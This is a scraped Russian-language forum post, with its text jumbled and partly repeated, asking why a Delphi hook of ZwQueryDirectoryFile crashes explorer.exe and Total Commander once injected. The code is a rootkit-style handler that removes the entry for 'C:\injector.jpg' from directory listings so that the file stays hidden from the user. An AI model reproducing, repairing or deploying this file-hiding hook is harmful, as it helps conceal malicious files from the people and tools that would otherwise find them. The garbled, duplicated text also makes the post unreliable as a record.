function NewZwQueryDirectoryFile(FileHandle: dword;
Event: dword;
ApcRoutine: pointer;
ApcContext: pointer;
IoStatusBlock: pointer;
FileInformation: pointer;
FileInformationLength: dword;
FileInformationClass: dword;
ReturnSingleEntry: bool;
FileName: PUnicodeString;
RestartScan: bool): NTStatus;
stdcall;
var
info,Prev:PFILE_BOTH_DIRECTORY_INFORMATION;
begin
result:=TrueZwQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,FileInformationLength,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);
if (FileInformationClass=3) and (result=STATUS_SUCCESS) then
begin
Info:=FileInformation;
while info.NextEntryOffset>0 do
begin
Prev:=Info;
Info:=pointer(dword(info)+info.NextEntryOffset);
if lstrcmpiw(Info.FileName,'C:\injector.jpg')=0
then
begin
Prev.NextEntryOffset:=Prev.NextEntryOffset+Info.NextEntryOffset;
info.Unknown:=Prev.Unknown;
end;
end;
end;
end;
ZwQueryDirectoryFile hooking
http://www.wasm.ru/article.php?article=apihook_1). Попробовал перехватывать некоторые функции - получилось. (ShellExecuteExA,W,MessageBox, etc). Разобрался с ZwQuerySystemInformation, решил попробовать скрыть файлы.
Вот код обработчика функции:
Опытным путем было установлено, что при просмотре папок FileInformationClass = 3
Но блин, внедряю библиотеку в explorer.exe/totalcmd.exe/etc - процесс вылетает. Что я блин опять неправильно сделал?
Здравствуйте. Я тут прочитал статью Ms-Rem'a про перехват API (
Вот код обработчика функции:
Код:
Опытным путем было установлено, что при просмотре папок FileInformationClass = 3
Но блин, внедряю библиотеку в explorer.exe/totalcmd.exe/etc - процесс вылетает. Что я блин опять неправильно сделал?